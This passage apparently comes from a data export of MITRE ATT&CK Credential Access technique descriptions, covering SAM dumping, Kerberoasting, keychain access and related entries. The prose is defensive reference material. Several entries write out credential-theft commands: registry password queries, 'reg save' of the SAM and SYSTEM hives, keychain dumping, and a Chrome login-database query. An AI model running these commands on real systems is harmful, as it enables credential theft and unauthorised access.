[Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n\nT1522 | Cloud Instance Metadata API | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n\nT1503 | Credentials from Web Browsers | Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nT1214 | Credentials in Registry | The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s\nT1212 | Exploitation for Credential Access | Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nT1208 | Kerberoasting | Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)\nT1171 | LLMNR/NBT-NS Poisoning and Relay | Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)\nT1187 | Forced Authentication | Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\nT1179 | Hooking | Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\nT1174 | Password Filter DLL | Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\nT1167 | Securityd Memory | In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\nT1139 | Bash History | Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\nT1145 | Private Keys | Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)\nT1141 | Input Prompt | When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).\nT1142 | Keychain | Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.\nT1111 | Multi-Factor Authentication Interception | Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)\nT1110 | Brute Force | Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.\nT1081 | Credentials in Files | Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n\nT1056 | Input Capture | Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).\nT1040 | Network Sniffing | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\nT1003 | OS Credential Dumping | Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n" + "source": "# Credential Access\nThe adversary is trying to steal account names and passwords.\n\nCredential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.\n## Techniques\n| ID | Name | Description |\n| :--------: | :---------: | :---------: |\nT1557 | Adversary-in-the-Middle | Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\nT1556.003 | Pluggable Authentication Modules | Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)\nT1056.001 | Keylogging | Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) \nT1110.001 | Password Guessing | Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.\nT1003 | OS Credential Dumping | Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n\nT1539 | Steal Web Session Cookie | An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.\nT1003.002 | Security Account Manager | Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam\n* reg save HKLM\\system system\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n\n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n\nT1552.005 | Cloud Instance Metadata API | Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n\nT1555.002 | Securityd Memory | An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)\nT1110.002 | Password Cracking | Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\nT1555.001 | Keychain | Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility security. Keychain files are located in ~/Library/Keychains/, /Library/Keychains/, and /Network/Library/Keychains/.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command security dump-keychain \u2013d will dump all Login Keychain credentials from ~/Library/Keychains/login.keychain-db. Adversaries may also directly read Login Keychain credentials from the ~/Library/Keychains/login.keychain file. Both methods require a password, where the default password for the Login Keychain is the current user\u2019s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt) \nT1003.004 | LSA Secrets | Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)\nT1606.002 | SAML Tokens | An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged 